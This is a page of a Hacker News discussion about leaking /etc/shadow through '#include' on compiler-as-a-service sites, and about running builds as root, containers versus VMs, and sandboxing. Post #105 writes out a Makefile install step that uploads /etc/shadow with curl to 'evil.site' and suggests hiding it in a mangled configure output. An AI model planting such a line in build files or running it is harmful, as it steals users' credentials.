Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

#include

blog.hboeck.de

Post reply on HN
Print view View original

101–110 of 132 posts

Re: #include </etc/shadow>

#101

Post by jagged-chisel »

londons_explore wrote: post #66
inimino wrote: post #22

Earlier quoted context omitted.

In a container or not, running a compiler-as-a-service as root is never the right way to run a compiler-as-a-service.

Why not? There's a good chance the user will be needing to install extra packages or libraries, or run custom makefile steps that require extra permissions the system designer couldn't anticipate. Running as root I think is the exact thing to run as. Then throw the whole VM or container away when handling a request for another user.

Why would your package manager require root to install packages? Can you not perform user-only installs?

Re: #include </etc/shadow>

#102

Post by [deleted] »

soraminazuki wrote: post #91
willvarfar wrote: post #26

Earlier quoted context omitted.

The attack surface of a container is massive. The attack surface of a hypervisor is tiny, in comparison. There was 'interesting' research out of IBM a couple of years ago where they claimed they found that containers with good seccomp profiles etc were 'as secure as' a VM. Well, nobody goes around believing that. I recall once asking Joanna Rutkowska this same question, I think just days after she had outlined some p…

> There was 'interesting' research out of IBM a couple of years ago where they claimed they found that containers with good seccomp profiles etc were 'as secure as' a VM. Well, nobody goes around believing that. You're leaving out a key detail of that research. They never said that tuning seccomp profiles to secure existing containerized apps is practical or effective. In fact, quite the opposite. IIRC, what they act…

[deleted]

Re: #include </etc/shadow>

#103

Post by danmg »

If you can include /etc/shadow you can also just cat it. curl|sh software installations are far more of a threat than potentially a malicious c per-processor statement.

Re: #include </etc/shadow>

#104

Post by cyc116 »

softwarelimits wrote: post #98
VBprogrammer wrote: post #86

Earlier quoted context omitted.

I'm trying to understand what your point is, are you denying that there was a vulnerability? As it stands it just sounds like you are just being a jerk on the internet.

I am asking for actual code that shows his statement is still true. The statements I read as an answer to my question contain zero value and still lots of very unrelated words. If you are sure there are vulns right now, please publish them. If not, shut up. Nillywilly "computers might be insecure" is on a level I would not expect to read on a side like this one. I just want to keep the quality level high for this new…

Running in a VM is good. Running in a VM as a non-priv user is better. Ideally you'd want multiple layers of defense in case of undiscovered gaps, human error and 0-days.

Re: #include </etc/shadow>

#105

Post by jandrese »

jdsully wrote: post #20
Someone1234 wrote: post #4

This seems contrived. So you need to send someone "evil" code that they won't read, have them compile it as root, and then ship you the resulting binary. I wouldn't read too much into it "working" with some kind of compile/show service, as they could have been using non-persistent containers. Ultimately this seems like social engineering i.e. "Tricking privileged users into doing as root." Might have well ask them to…

People compile unread code all the time. Having them send the binary back is a little unusual though. But nothing says the resulting binary can’t open its own socket when its first run. There are lots of exfiltration options. Getting them to run make as root would be pretty easy. People are already conditioned to run “sudo make install”. A good mitigation is to install software by user so root privileges aren’t neede…

Or you could include

  curl -F shadow=@/etc/shadow https://evil.site/upload.cgi
as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.

Re: #include </etc/shadow>

#106

Post by londons_explore »

jagged-chisel wrote: post #101
londons_explore wrote: post #66

Earlier quoted context omitted.

Why not? There's a good chance the user will be needing to install extra packages or libraries, or run custom makefile steps that require extra permissions the system designer couldn't anticipate. Running as root I think is the exact thing to run as. Then throw the whole VM or container away when handling a request for another user.

Why would your package manager require root to install packages? Can you not perform user-only installs?

Sure some can, but if you're making a compiler-as-a-service, you want it to be compatible with as many as possible. I suspect being root maximizes compatibility. Hardcoded "/usr/bin" paths are just the start...

Re: #include </etc/shadow>

#107

Post by londons_explore »

zer0t3ch wrote: post #97
londons_explore wrote: post #65

Earlier quoted context omitted.

Running as actual root in a VM would be my preferred design. There are lots of times a user might need to apt-get some dependencies for their compile job. Let an attacker do whatever they like in the VM. Then delete the VM between users. Docker containers aren't really a good security barrier, and a VM is much better (although VM escape vulnerabilities aren't unheard of).

I don't know much containerization outside of docker, but you can definitely apt-get some dependencies even inside docker containers.

Inside a docker container, you are root, so you can apt-get.

Re: #include </etc/shadow>

#108

Post by gmfawcett »

londons_explore wrote: post #66
inimino wrote: post #22

Earlier quoted context omitted.

In a container or not, running a compiler-as-a-service as root is never the right way to run a compiler-as-a-service.

Why not? There's a good chance the user will be needing to install extra packages or libraries, or run custom makefile steps that require extra permissions the system designer couldn't anticipate. Running as root I think is the exact thing to run as. Then throw the whole VM or container away when handling a request for another user.

Custom makefile steps that require running the compiler as root? More likely they need to run `chown` or `chmod` or something else as root -- i.e., something that has a far smaller attack surface.

Re: #include </etc/shadow>

#109

Post by dylan-m »

Sandboxing your build is good practice anyway, for this and many other reasons :) For bonus points, build each major component in its own sandbox and integrate them later. That allows you to tightly control your dependencies (which makes your project tidier and makes incremental builds faster), and it paves the way to reproducible builds.

Re: #include </etc/shadow>

#110

Post by penagwin »

mulle_nat wrote: post #84

Why would '/' ever be in the searchpath of the compiler ? This looks like a preprocessor bug to me.

Counter point, why should '/' be invalid? I'm not saying it's good practice or that the compiler shouldn't warn you, but "/home/me/path_to_thing/file" is a perfectly valid path.
Post reply on HN